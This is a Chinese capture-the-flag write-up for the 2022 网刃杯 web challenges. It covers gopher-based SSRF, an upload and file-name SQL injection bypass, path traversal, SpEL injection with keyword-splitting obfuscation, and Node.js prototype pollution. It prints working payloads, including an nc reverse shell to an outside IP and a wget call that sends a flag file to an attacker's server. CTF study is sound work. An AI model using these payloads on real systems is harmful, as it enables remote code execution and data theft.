网刃杯 第二届 2022 web

Sign_in

File协议读取/etc/hosts得到内网ip
http：//探测内网主机

按照提示传参，添加http头即可，用gopher发送post数据

http://124.220.9.19:8091/?url=gopher://172.73.23.100:80/%5f%50%4f%53%54%25%32%30%2f%25%33%46%61%25%33%44%31%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%31%37%32%2e%37%33%2e%32%33%2e%31%30%30%25%30%44%25%30%41%58%2d%46%6f%72%77%61%72%64%65%64%2d%46%6f%72%25%33%41%25%32%30%31%32%37%2e%30%2e%30%2e%31%25%30%44%25%30%41%58%2d%4f%72%69%67%69%6e%61%74%69%6e%67%2d%49%50%25%33%41%25%32%30%31%32%37%2e%30%2e%30%2e%31%25%30%44%25%30%41%58%2d%52%65%6d%6f%74%65%2d%49%50%25%33%41%25%32%30%31%32%37%2e%30%2e%30%2e%31%25%30%44%25%30%41%58%2d%52%65%6d%6f%74%65%2d%41%64%64%72%25%33%41%25%32%30%31%32%37%2e%30%2e%30%2e%31%25%30%44%25%30%41%52%65%66%65%72%65%72%25%33%41%25%32%30%62%6f%6c%65%61%6e%2e%63%6c%75%62%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%74%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%6c%65%6e%67%74%68%25%33%41%25%32%30%33%25%30%44%25%30%41%25%30%44%25%30%41%62%25%33%44%31%25%30%44%25%30%41

upload

修改content-type为ctf可上传任意后缀文件，upload目录下不解析php文件，文件名有SQL注入

. 号不能使用 直接猜测表名列名读取flag

ez_java

常规任意文件读取，下载web.xml再去扒class文件

http://124.220.9.19:8022//download?filename=../../..//classes/com/abc/servlet/TestServlet.class

很明显的一个spel注入

解析表达式的时候传入了第二个参数parseContext，这是个ParserContext类的参数，里面就定义了SPEL表达式的标识符

通过反射和拆分关键字构造payload，本地成功弹计算器

#{
    
    T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{
    
    "cmd","/C","calc"})}

直接反弹shell urlencode一下

ezjs （复现）

原型链污染，一眼丁真，其实就是p神18年出的的code-breaking thejs这题加了个黑名单
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}

这题我测试的话exec 空格 ;号都没了
js不太熟没做出来 赛后发现和python ssti spel 绕过关键词过滤差不多 拆分字符串即可 空格用$IFS$9 分号用 // 代替闭合语句

{
    
    
	"__proto__":{
    
    
		"sourceURL":
		"\nglobal.process.mainModule.constructor._load('child_process')['ex'+'ec']('wge'+'t$IFS$9http://vps地址/\u0060ta\\c$IFS$9/.[f]lag\u0060')//"
		}
}